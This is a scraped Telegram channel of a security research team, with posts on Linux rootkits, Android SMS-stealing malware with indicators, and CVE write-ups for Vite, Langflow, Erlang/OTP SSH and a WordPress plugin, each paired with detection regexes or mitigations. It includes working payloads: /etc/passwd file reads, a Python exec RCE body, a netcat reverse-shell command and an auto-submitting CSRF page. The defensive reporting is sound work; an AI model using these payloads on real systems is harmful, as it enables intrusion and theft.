Четыре луча – Telegram
Четыре луча
3.87K subscribers
83 photos
98 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Лог
W0326 07:59:03.292219       7 controller.go:1110] Error obtaining Endpoints for Service "/kubernetes": no object matching key "/kubernetes" in local store
W0326 07:59:03.292390 7 controller.go:1235] Error loading custom default certificate, falling back to generated default:
…….
I0326 07:59:03.342274 7 admission.go:149] processed ingress via admission controller {testedIngressLength:1 testedIngressTime:0.05s renderingIngressLength:1 renderingIngressTime:0.003s admissionTime:0.053s testedConfigurationSize:18.1kB}
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"

В логе есть несколько сообщений, которые могут быть связаны с ошибками, но окончательное сообщение подтверждает, что конфигурация успешно проверена и запрос принят:
I0326 07:59:03.342431       7 main.go:107] "successfully validated configuration, accepting" ingress="/"

Это означает, что Ingress-ресурс был успешно проверен, валидация пройдена, принято решение о разрешении. Этот процесс происходит через admission controller, который проверяет запросы перед тем, как они будут применены в Kubernetes.

Как защищаться

Нужно написать блокирующее правило на POST-запросы с заголовком Content-Type: application/json и телом, соответствующим регулярному выражению:
\s*nginx\.ingress\.kubernetes\.io\/.*?\"\s*:\s*\".*?\
🔥16👍117
Puma: новый руткит в арсенале Shedding Zmiy 🐍

У одной из самых активных группировок Восточной Европы, атакующих российские организации, появился новый инструмент — руткит Puma. Чтобы обнаружить его и предотвратить атаки, нужно понимать, как он работает.

Puma — руткит в пространстве ядра, нацеленный на Linux-системы. Он попадает в инфраструктуру жертвы, когда легитимная утилита «Cron» заменяется специальным загрузчиком. Затем Puma закрепляется и загружается в ядро при каждом запуске системы.


В ядре руткит перехватывает системные вызовы и функции. Для этого он:
💣 редактирует таблицу вызовов, заменяя оригинальные обработчики своими,
💣 использует фреймворк для трассировки ядра Linux — Ftrace.

После этого Puma может скрывать файлы, процессы, директории, сетевые соединения, красть конфиденциальную информацию и подменять содержимое в файлах.

Puma работает не один, у него есть «сообщник» — руткит Pumatsune. Изначально он находится внутри ядерного руткита, но в результате перехвата некоторых системных вызовов попадает в пользовательское пространство и работает там. В списке его задач — взаимодействие с C2 сервером.

👀 Подробнее о рутките Puma — в новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍106👾2💅1
Уязвимость в Vite CVE-2025-30208

CVE-2025-30208 — уязвимость в популярном инструменте фронтенд-разработки Vite, которая позволяет злоумышленнику обходить ограничения доступа к файлам. Уязвимы версии до 6.2.3, 6.1.2, 6.0.12, 5.4.15 и 4.5.10

😬 Метрики

Base Score: 5.3
CWE: CWE-200; CWE-284

😬 Описание

Добавление в URL подстрок ?raw?? или ?import&raw?? позволяет получить содержимое произвольного файла. Это происходит из-за того, что конечные разделители, такие как ?, удаляются в нескольких местах, но не обрабатываются корректно в регулярных выражениях, используемых для проверки строки запроса.

😬 Полезная нагрузка

Полезная нагрузка представляет из себя подобную структуру:
/@fs/etc/passwd?<WORD>?raw


@fs — механизм, который запрещает доступ к файлам за пределами разрешенных директорий,

/etc/passwd — необходимый нам файл,

<WORD>? — не обязательный параметр, может быть любой строкой,

raw — импорт файла как строки.

😬 Как защищаться

Зная структуру полезной разгрузки, можем написать регулярное выражение на URI:
\/@fs\/([a-zA-Z0-9_-]+\/)*([a-zA-Z0-9_-]+).+?\?raw
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15😱9💅422🔥1👾1
Pumatsune: как работает младший брат Puma 🐾

Руткит Puma — не самостоятельный вредонос. Он лишь предоставляет инструменты, которые можно использовать из пространства пользователя. С ним «в комплекте» идет руткит Pumatsune, который позволяет раскрыть весь вредоносный потенциал в ядре.

Название Pumatsune выбрано не просто так. Этот руткит берет свое начало от руткита Kitsune, который известен с 2022 года. В отличие от старых версий, без поддержки из ядра Pumatsune работать не может.


👁 С помощью Puma, который находится в ядре, Pumatsune незаметно подключается к C2-серверу и выполняет команды. Любые процессы и соединения Pumatsune может скрыть с помощью Puma.

💣 Это открывает руткиту большие возможности: например, он может совершать эксфильтрацию конфиденциальной информации или незаметно исполнять shell-команды.

Симбиоз двух вредоносов очень опасен для неподготовленной инфраструктуры. Узнайте, как от них защититься, в нашей новой статье.

↗️ Читать статью
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2010👍7🍌4😁1👾1
Как победить руткиты Puma и Pumatsune ⚡️

В предыдущих постах мы рассказывали о двух руткитах — Puma и Pumatsune. Проверить систему на наличие руткита можно с помощью yara-правила, которое мы оставили в статье.


Если руткит уже попал в систему, его нужно устранить. Puma закрепляется через подмененный легитимный файл cron:

/usr/sbin/cron — Debian-системы;

/usr/sbin/crond — RHEL-системы.

У Pumatsune нет никаких способов закрепления, он будет находиться в инфраструктуре, пока в ядре работает руткит Puma. Поэтому самый простой способ избавиться от него — заменить вредоносный загрузчик на легитимный файл cron и перезагрузить систему.

Как заменить вредоносный cron легитимным, если у вас Debian

1️⃣ Определить название пакета, из которого был установлен пакет cron:
dpkg -S /usr/sbin/cron

Вывод команды:
cron: /usr/sbin/cron

cron — имя deb-пакета.

2️⃣ Скачать deb-пакет:
apt-get download cron

Команда загрузит deb-файл, например, cron_3.0pl1-136ubuntu1_amd64.deb. Название пакета может меняться в зависимости от версии ОС.

3️⃣ Распаковать пакет:
pkg-deb -x cron_*.deb cron_orig

cron_orig — название каталога, куда будут распакованы файлы deb-пакета.

4️⃣ Остановить службу cron:
sudo systemctl stop cron


5️⃣ Заменить вредоносный cron оригинальным:
sudo install -m 755 -o root -g root cron_orig/usr/sbin/cron /usr/sbin/cron


6️⃣ Перезагрузить систему:
sudo reboot


Как заменить вредоносный cron легитимным на RHEL


1️⃣ Определить название пакета, из которого был установлен cron:
rpm -qf /usr/sbin/crond

Вывод команды:
cronie-1.4.11-25.el7_9.x86_64

Название пакета может меняться в зависимости от версии ОС.

2️⃣ Скачать rpm-пакет:
yumdownloader cronie

Если нет yumdownloader, установите его:
sudo yum install -y yum-utils


3️⃣ Распаковать пакет:
rpm2cpio cronie-*.rpm | cpio -idmv ./usr/sbin/crond


4️⃣ Остановить службу cron:
sudo systemctl stop cron


5️⃣ Заменить вредоносный cron оригинальным:
sudo install -m 755 -o root -g root ./usr/sbin/crond /usr/sbin/crond


6️⃣ Перезагрузить систему:
sudo reboot


После этих действий Puma перестанет загружаться в ядро, а вместе с ним пропадет и Pumatsune.

❗️ Shedding Zmiy редко обходится одним инструментом в своих атаках. Если вы обнаружили Puma, скорее всего, в вашей инфраструктуре есть и другое ВПО группировки. Обратитесь за помощью к экспертам по оценке компрометации и реагированию на ИБ-инциденты.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18🔥115🤔21🍌1👾1
Уязвимость в Vite CVE-2025-31125

Уязвимость в Vite CVE-2025-30208, о которой мы рассказывали ранее, позволяет получить несанкционированный доступ к файлам. В CVE-2025-31125 был обнаружен альтернативный вид запроса для обхода ограничения.

Уязвимости подвержены только приложения, явно предоставляющие доступ к серверу разработки Vite в сети: в них используется параметр конфигурации --host или конфигурация server.host.

❗️ CVE-2025-31125 исправлена ​​в версиях 6.2.4, 6.1.3, 6.0.13, 5.4.16 и 4.5.11 — рекомендуем обновиться.

Метрики
Base Score: 5.3
CWE: CWE-200; CWE-284


Описание

Полезная нагрузка выглядит так:
/etc/passwd?inline=<NAME>.wasm?init


/etc/passwd — путь к нужному файлу;

inline — используется для управления импортом ресурсов;

<NAME> — любая строка или же ее может не быть;

.wasm — указывает на WebAssembly-модуль.

Вывод эксплуатации — дважды закодированный в формате base64 файл passwd.

Как защищаться

Регулярное выражение для детекта эксплуатации:
.+?\?inline=.*\.wasm\?init
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍5😎4🍌1
Обзор веб-уязвимостей в первом квартале 2025 года 👾

Проанализировали 120+ PoC и подвели итоги ландшафта веб-уязвимостей в первом квартале. Вот результаты:

😬 Более 80% уязвимостей имеют сетевой вектор атаки;

😬Средний уровень критичности обнаруженных уязвимостей — 7,7/10;

😬 Максимальный уровень критичности обнаруженных уязвимостей — 10, минимальный — 2,7;

😬 72% сетевых уязвимостей имеют Critical и High уровни критичности;

😬 Самые уязвимые продукты квартала: Wordpress и плагины, а также открытое ПО Kubernetes.

✈️ Читайте полный обзор и обновляйтесь.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👏5👍3👾3🍌2
🦣 Mamont: все еще живой

Недавно в СМИ появилась информация о задержании подозреваемых в распространении вредоносного приложения для Android под названием Mamont.

Несколько месяцев злоумышленники рассылали тысячам пользователей фишинговые сообщения. В каждом было видео с интригующей подписью:

Это ты на видео?


Под роликом скрывалось вредоносное Android-приложение Mamont — таким образом его создатели получали доступ к интернет-банкингу жертв.

Незадолго до новости о задержании образец Mamont попался команде Solar 4RAYS. Конечно же, мы его исследовали.

Приложение позволяет злоумышленникам:

💣 собирать информацию о приложениях и устройстве;

💣 мониторить историю вызовов и совершать звонки;

💣 совершать USSD запросы;

💣 отправлять и получать смс.

Мы выяснили, что как минимум часть сетевой инфраструктуры, связанной с Mamont, остается активной. Это может указывать на то, что угроза заражений не ушла.

Подробнее об Android-вредоносе Mamont читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍126👌1👾1
Новая версия бэкдора KingOfHearts 👑

Осенью 2024 мы описали пересечения Obstinate Mogwai с другой азиатской группировкой — IAmTheKing, которая активна как минимум с 2014 года.

Последний публичный отчет об IAmTheKing выпустили эксперты «Лаборатории Касперского» в 2020 году.

А на конференции Kaspersky Security Analyst Summit 2024 подразделение PT ESC представило доклад «The Lord of PowerShell: The Return of IAmTheKing», в котором говорилось о возвращении группировки с новым стилером PowerBroker.

👀 В арсенале IAmTheKing был бэкдор KingOfHearts, который использовался злоумышленниками в атаках до 2019 года. Во время очередной попытки возвращения в инфраструктуру Obstinate Mogwai применили новую версию этого бэкдора, которую мы назвали .NET KingOfHearts.

Наша команда очень подробно проанализировала новую версию легендарного бэкдора.

Ключевые моменты:

😬 Мы обнаружили сборки в ресурсах, даты компиляции которых могут указывать, что бэкдор предположительно мог находиться в разработке с конца 2022, а в инциденте был использован в конце 2023 года.

😬 Эти же сборки помогли найти хеши нескольких других образцов .NET KingOfHearts с новыми C2.

😬 .NET KingOfHearts, в отличие от старых версий, стал модульным.

😬 Нашли ряд совпадений, по которым поняли, что перед нами — новая версия бэкдора KingOfHearts.

⚡️ Все подробности — в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥117🤯4👍2😁1
Критическая уязвимость CVE-2025-3248 👾

CVE-2025-3248 — уязвимость в Langflow, связанная с выполнением  произвольного кода (RCE) на уязвимой конечной точке /api/v1/validate/code.

❗️ Уязвимы все версии до 1.3.0. Рекомендуем обновиться.

Langflow — инструмент с открытым исходным кодом, предназначенный для создания и управления потоками работы с использованием моделей искусственного интеллекта.


Метрики
Base score: 9,8
CWE: 306


Полезная нагрузка
{
"code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("ls -la", shell=True))')):
pass
"""
}


Разберем детальнее:

code
— ключ для передачи Python-кода;

exec() — позволяет выполнять строки кода Python;

subprocess.check_output("ls -la", shell=True) — эта команда выполняет системную команду ls -la через оболочку (shell). В результате возвращается список файлов и директорий в текущем каталоге;

raise Exception(...) — исключение, которое вызывается после выполнения команды ls -la.

На что важно обратить внимание

1️⃣ Из-за того, что на конечной точке /api/v1/validate/code нет аутентификации, злоумышленник может отправить такой код через HTTP-запрос.

2️⃣ Код будет выполнен на сервере — это позволяет атакующему осуществить произвольные команды, например, вывести список файлов на сервере или даже изменить состояние системы.

3️⃣ Код может представлять из себя все что угодно, он не обязательно должен соответствовать примеру выше.

Как защититься

Ограничить доступ из сети интернет к данному API.

Написать правило, блокирующее POST-запросы к уязвимому URL, содержащее заголовок Content-Type: application/json и тело, в котором присутствуют python-операторы — например, exec, Exception, import, print, system.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍106😱5
Интересный C2 .NET KingOfHearts 👀

В инциденте с новой версией бэкдора KingOfHearts группировки Obstinate Mogwai фигурировал C2-сервер 45.150.64.23.

В конце 2023 года эксперты одной зарубежной компании предположили, что этот C2 связан с Иранской APT-группировкой MuddyWater. Адрес был помечен как «Suspected MuddyC2Go (2023)», но авторы указали, что не обнаружили у подозрительного C2 вредоносной активности или известных шаблонов URL фреймворка MuddyC2Go.

Статью выпустили 8 ноября 2023 года, а в нашем инциденте бэкдор .NET KingOfHearts с аналогичным C2 использовался 14 ноября 2023.

Принадлежал ли сервер 45.150.64.23 сначала MuddyWater, а потом перешел к Obstinate Mogwai — неизвестно. Возможно, эксперты ошибочно отнесли этот C2 к MuddyWater, хотя изначально он никак не был связан с этой группировкой.

P.S. Знаем, что сейчас 2025 год, но наш ресерчер очень хотел поделиться этой информацией с комьюнити :)
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡11🔥10👾6🤔2🤨2👍1
Очередная кампания по рассылке Android-вредоносов в Telegram ✈️

Рассылка началась ориентировочно в конце марта и продолжается до сих пор. Вредонос сопровождается сообщениями, которые склоняют жертву к немедленному запуску мимикрирующего под фото или видео APK-файла (Скриншот 1).

По функционалу распространяемый вредонос похож на PhotoAndroidMalware, о котором недавно сообщили коллеги из F6.

Мы считаем, что обнаружили одну из новых вариаций этого ВПО. Она тоже работает с SMS:
— эксфильтрует последние 14480 SMS-сообщений;
— эксфильтрует информацию о зараженном устройстве, установленных приложениях банков, мессенджеров, маркетплейсов и «Госуслуг», а также содержимое буфера обмена;
— регистрирует себя как приложение для приема SMS по умолчанию и перенаправляет на сервер управления SMS-сообщениями от Telegram.

Особенности вредоноса

💣 После запуска ВПО сначала получает конфигурацию воркера со специального сервера конфигураций. В конфигурации указаны: команда, имя и telegram handle воркера, номер телефона как резервный канал получения уведомлений о заражениях.

💣 Из собранных конфигураций мы обнаружили 10 серверов управления для эксфильтрации SMS.

💣 Во всех конфигурациях используются одинаковые параметры AES-шифрования. В начале кампании использовался один и тот же номер телефона для перенаправления SMS, но в последних образцах стали появляться новые.

💣 После заражения злоумышленники получают возможность отправлять SMS от имени жертвы на заданный номер по команде. Команда приходит в специально сформированном входящем SMS (Скриншот 2).

💣 Злоумышленники работают оперативно — после заражения очередной жертвы уже через 13 минут злоумышленники рассылали ВПО всем контактам в Telegram.

Мы предполагаем, что на телефоне злоумышленников из конфигурации установлено аналогичное ВПО, которое обрабатывает такие SMS и POST-запросом отправляет данные жертвы и воркера на сервер управления команды.

Такая схема может позволить получать данные о зараженной жертве, даже если на телефоне жертвы не будет интернета, а серверы управления ВПО заблокируют (Скриншот 3).

Как защититься

Если вы стали жертвой, нужно найти приложение и удалить его из списка установленных. Обычно имя вредоносного приложения совпадает с именем присланного apk-файла (Скриншот 4).

IOC
md5:
31210d375856bee724080f69b4c5e81a
8955c7ee6b1b6adc50838a0b7e6c7b6f
8a602991a6fdc161cdb6763871346f99
33f2215163e708a2453e166c4f110c47

7f5f91b0e1a2320655d103cbdda5ebdf
c80574ce2840120608f2026507710062
9931eb52878c5957251014b750bb781c
32c22d0fe9b8afb65e405165694a6bd5
2d05bc8a1a38517e2abd3183e3c6923e
09f829e6b4e32751dbc9a776cce0f902


Имена apk-файлов:
Архив фото (88).apk
Mega видео (Архив).apk
Фoт0(4)9_0.4_2025.apk
Яндekc Buдeo.apk
Документы (3).apk
Video.1)1.226293.apk
YandexDisc.apk
Фото (53 шт.).apk


Сервер конфигураций воркеров:
http://185.100.157.190:8000


C2-серверы команд:
http://89.23.101.185:120
http://89.23.102.98:120
http://89.23.102.238:120
http://91.92.46.212:120
http://91.92.46.228:120
http://185.177.239.24:100
http://185.177.239.24:120
http://185.100.157.82:120
http://185.100.157.227:100
http://185.100.157.237:120
http://193.68.89.199:120
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍12👾42🤡1
Советы пентестерам на 2025 год 🚩

Наша OffSec-команда выпустила отчет о ключевых уязвимостях инфраструктур российских компаний в 2024 году. Повторяться не будем — сконцентрируемся на трендах в пентесте, которые могут быть актуальны в 2025.

😬 Проверяйте CMS

Все еще обнаруживаются уязвимости в функциональности vote популярной CMS-системы 1С Bitrix и ее производных. Эксперты советуют перечитать работу исследователя cr1f о безопасности Bitrix и не вычеркивать ее из своих сплойтов. А еще — не забывать фаззить Bitrix специализированными словарями.

😬 Импортозамещение может быть уязвимым

Наши эксперты все чаще исследуют безопасность российских аналогов зарубежных сервисов. Разработчики не всегда успевают провести оценку безопасности приложения или системы, поэтому обнаруживается много изъянов и в базах данных, и в логике процессов приложений.

😬 Классические проблемы с паролями

Пароли по умолчанию, слабые парольные политики и переиспользование паролей остаются проблемой в российских организациях. Обстоятельная разведка аутентификационных данных в открытых источниках перед пентестом — приличная часть работы, которую OffSec-эксперты регулярно делали в прошлом году.

Разведка позволяет собрать учетные записи и пароли еще до старта пентеста и потом использовать эти данные, применяя технику password spraying на инфраструктуре, которую надо проверить. Для поиска секретов наши эксперты рекомендуют использовать Trufflehog.

😬 Готовимся к атакам на Active Directory и FreeIPA

Во внутренней части инфраструктур в топе атак на AD стоит ESC. В 2024 году наши пентестеры начали замечать, что многие организации переходят на FreeIPA-решения. Они, как и импортозамещающие продукты, содержат немало изъянов. Эксперты советуют обратить на FreeIPA внимание и начать готовиться к атакам на нее.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🤔5👏2👾2
Десятибалльная уязвимость CVE-2025-32433 👾

CVE-2025-32433 — Remote Code Execution-уязвимость в SSH-серверах на базе Erlang/OTP, которая позволяет получить несанкционированный доступ к уязвимым системам и выполнять произвольные команды без аутентификации.

Метрики
Base Score: 10.0 CRITICAL
CWE-306


Уязвимы версии

<= OTP-27.3.2
<= OTP-26.2.5.10
<= OTP-25.3.2.19


Как происходит атака

По стандарту канал для выполнения команд SSH-клиентом открывается после прохождения аутентификации, в противном случае сообщение будет отвергнуто или приведет к разрыву соединения.

Но уязвимые версии Erlang/OTP могут не проверять стадию аутентификации и обрабатывать CHANNEL_OPEN и exec сразу. Это приводит к тому, что для выполнения команд на сервере злоумышленникам достаточно иметь сетевой доступ к нему.

Из чего состоит эксплоит

Эксплоит может состоять из четырёх клиентских SSH-пакетов после установления TCP-соединения.

1️⃣ Обмен баннерами. Клиент отправляет строку, сервер отвечает своей:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)


2️⃣ Инициализация обмена ключами:
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))


3️⃣ Отправка SSH-пакета типа SSH_MSG_CHANNEL_OPEN с «просьбой» открыть канал, как будто клиент уже прошел аутентификацию:
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))


4️⃣ Запрос на выполнение команды:
chan_req = build_channel_request(
command='file:write_file("/lab.sh", <<"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.0.22 8080 >/tmp/f">>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").'
)
s.sendall(pad_packet(chan_req))


Пример выполнения CVE-2025-32433


Для примера отправим пакет, содержащий команду создания и выполнения Reverse Shell-кода, для получения контроля над уязвимым сервером:
file:write_file("/lab.sh", <<COMAND>>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").


file:write_file("/lab.sh,<<COMAND>>)
— создаст sh-скрипт c необходимой командой;

os:cmd("chmod +x /lab.sh") — предоставит права на выполнение;

os:cmd("/lab.sh") — запустит Reverse Shell.

Как детектировать и защититься


Важно следить, что сообщения типов MSG_CHANNEL_OPEN и MSG_CHANNEL_REQUEST не передаются в открытом виде в сетевом трафике. Согласно RFC 4253 и 4254, обмен такими сообщениями осуществляется после обмена ключами и аутентификации в зашифрованном виде.

Для написания IDS-сигнатур можно обратить внимание на структуру таких сообщений:
      byte      SSH_MSG_CHANNEL_OPEN # значение 0x5a
string "session"
uint32 sender channel
uint32 initial window size
uint32 maximum packet size

      byte      SSH_MSG_CHANNEL_REQUEST # значение 0x62
uint32 recipient channel
string "exec"
boolean want reply
string command

Содержимое полей string может меняться в зависимости от типа, а приведенные выше session и exec соответствуют запросам на открытие канала и выполнение команды. Появление в сетевом трафике SSH в открытом виде таких сообщений может свидетельствовать о попытках эксплуатации уязвимости.

❗️ Настоятельно советуем обновиться до последних версий, а до этого ограничить доступ к SSH.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15🫡732🌚1
Критическая уязвимость CVE-2025–39601 👾

CSRF-атаки все еще актуальны, особенно если мы говорим про плагины к популярным CMS. Сегодня расскажем, к чему они могут привести, на примере CVE-2025–39601.

CVE-2025–39601 — уязвимость подделки межсайтовых запросов (CSRF) в плагине WPFactory Custom CSS, JS и PHP для WordPress.

❗️ Уязвимы все версии до 2.4.1, рекомендуем обновиться.

Метрики

Base Score: 9,6
CWE: CWE-352


Как это работает


После установки плагина WPFactory Custom CSS, JS и PHP у администратора появляется возможность создавать собственные PHP скрипты на конечной точке /wp-admin/tools.php?page=alg-custom-php. Сам PHP код и другие параметры передаются в теле POST-запроса:
alg_custom_css_php_enabled=1&alg_custom_css_php_execute=plugins_loaded&alg_custom_css_php=<?php system(id); ?>&alg_ccjp_submit=php


В передаваемых данных при создании скрипта отсутствует CSRF-токен, нет и отдельного HTTP-заголовка или значения COOKIE, содержащего токен. Этот запрос можно будет подделать и создать скрипт от лица администратора, что приведет к RCE.

Пример

Классический сценарий атаки будет выглядеть так:
Администратор получает вредоносную ссылку на приложение -> администратор переходит по ссылке -> от лица администратора создаётся скрипт с вредоносным кодом, который приводит к RCE.


Вредоносное приложение имеет такую HTML-структуру:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<noscript>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability </noscript>
</head>
<body onload="document.forms[0].submit()">
<h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1 </h1>
<form action="http://XXX/wp-admin/tools.php?page=alg-custom-php" method="POST">
<input type="hidden" name="alg_custom_css_php_enabled" value="1">
<input type="hidden" name="alg_custom_css_php" value="<?php system('id'); ?>">
<input type="hidden" name="alg_ccjp_submit" value="php">
<nonoscript>
<input type="submit" value="Submit">
</nonoscript>
</form>
</body>
</html>

Код передается в блоке alg_custom_css_php. В данном случае, для примера, мы выведем результат команды id, который сможет увидеть любой пользователь приложения (Скриншот 1).

Этот POST-запрос будет полностью эмулировать легитимный запрос администратора, и только заголовок Origin будет содержать информацию о другом приложении (Скриншот 2).

Как защищаться

1️⃣ Не отсылать или ограничить отсылку COOKIE файлов сторонним сайтам или приложениям;

2️⃣ использовать CORS;

3️⃣ использовать CSRF-токен;

4️⃣ дополнительно проверять на валидность заголовки Origin, Referer.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👨‍💻6👍5👾21🤔1
Веб-панель Bulldog Backdoorглавный инструмент Shedding Zmiy 🐍

Исследуя инфраструктуру группировки Shedding Zmiy, мы обнаружили в открытом доступе веб-панель Bulldog Backdoor. Фронтенд написан с помощью фреймворка React.js с использованием TypeScript. Мы смогли выгрузить исходный код компонентов в первозданном виде (Скриншот 1 — структура проекта).

Проанализировав панель, наша команда поняла подходы Shedding Zmiy к построению части своей C2-инфраструктуры. Это пролило свет на экосистему имплантов и их связи, а также на механизмы работы Bulldog Backdoor.

Веб-панель Bulldog Backdoor — ключевой элемент экосистемы группировки:
— Агрегирует данные, полученные в ходе атак.
— Служит интерфейсом управления активными операциями.
— Помогает централизованно контролировать всю сеть зараженных систем.


Веб-панель Bulldog Backdoor помогает Shedding Zmiy

💣Генерировать новые импланты для Bulldog Backdoor и beacon’ы других типов.

💣 Управлять активными сессиями в сети жертвы.

💣 Передавать команды отложенного исполнения — вероятно, для имитации активности в разных часовых поясах.

💣 Собирать подробную статистику по сессиям: активным, завершённым, потерянным.

💣 Просматривать интерактивную карту зараженной инфраструктуры в режиме реального времени (Скриншот 2 — так она могла бы выглядеть).

💣 Работать с данными на разных уровнях абстракции за счет многоуровневой системы сущностей — «Цель», «Хост» и др.

💣 Осуществлять автоматизированный брутфорс на основе собранных учетных данных.

💣 Легко передавать критически важную информацию между операторами с помощью системы заметок для целей и хостов с поддержкой Markdown (Скриншот 3 — пример заметки).

🔗 Полный технический разбор веб-панели Bulldog Backdoor версии v0.1.15 читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍124👾2